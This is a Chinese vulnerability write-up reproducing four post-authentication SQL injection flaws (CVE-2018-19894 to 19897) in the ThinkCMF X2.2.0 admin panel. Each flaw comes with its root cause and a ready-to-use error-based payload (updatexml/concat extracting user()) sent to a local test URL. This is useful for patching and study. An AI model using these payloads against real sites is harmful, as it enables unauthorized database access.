ThinkCMF x2.2.0 多处SQL注入漏洞

Posted liqik

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ThinkCMF x2.2.0 多处SQL注入漏洞相关的知识,希望对你有一定的参考价值。

0x00:漏洞概述

ThinkCMF是一款基于Thinkphp+mysql开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发

这些漏洞貌似都是再后台管理员存在的漏洞

测试版本  ThinkCMF x2.2.0

影响版本  参考链接测试版本是  x2.2.2,至少到这个版本

参考链接:https://anquan.baidu.com/article/490

0x01:漏洞测试

(1)CommentadminController.class.php check、delete方法SQL注入(CVE-2018-19894)

漏洞位于/application/Comment/Controller/CommentadminController.class.php的check、delete方法, 以62行为例,$_POST[‘ids‘]参数通过join后,传递到where语句中,但并没有使用where语句的in方法,而是直接拼接到SQL语句中,导致SQL注入。

技术图片

 

 测试Pyload为

http://127.0.0.1/cmfx/index.php?g=Comment&m=commentadmin&a=check&check=1

POST提交参数:ids[]=1&ids[]=2 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)

技术图片

 

 提交之后,需要登录后台,确实是后台存在的漏洞

技术图片

 

 技术图片

(2)NavController.class.php中edit_post方法SQL注入(CVE-2018-19895)

跟进‘application/Admin/Controller/NavController.class.php‘,在文件的186行。‘$parentid‘直接由‘$_POST[‘parentid‘]‘传递进来,随后被直接拼接到where语句中。

技术图片

 

 测试Payload为

http://127.0.0.1/cmfx/index.php?g=Admin&m=nav&a=edit_post

POST提交数据: parentid=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)

技术图片

(3)SlideController.class.php delete方法SQL注入(CVE-2018-19896)

在application/Admin/Controller/SlideController.class.php的83行,delete方法中,$_POST[‘ids‘]通过implode方法变成字符串,随后直接拼接进入where语句的in子句中。

技术图片

测试payload:

http://127.0.0.1/cmfx/index.php?g=Admin&m=slide&a=delete

POST提交参数: ids[]=1&ids[]=0 and updatexml(1, concat(0x7e,user(),0x7e),1)

技术图片

(4)AdminbaseController.class.php中_listorders方法存在SQL注入(CVE-2018-19897)

测试payload:

http://127.0.0.1/cmfx/index.php?g=Admin&m=Link&a=listorders

POST提交参数: listorders[key][0]=exp&listorders[key][1]=0 and updatexml(1, concat(0x7e,user(),0),1)

技术图片

 

以上是关于ThinkCMF x2.2.0 多处SQL注入漏洞的主要内容,如果未能解决你的问题,请参考以下文章

挖SRC逻辑漏洞心得分享

ThinkCMF框架任意内容包含漏洞分析复现(写入shell+文件包哈)

ThinkCMF任意文件包含漏洞复现

sql注入漏洞都有哪些

如何防范SQL注入漏洞及检测

SQL注入漏洞的判断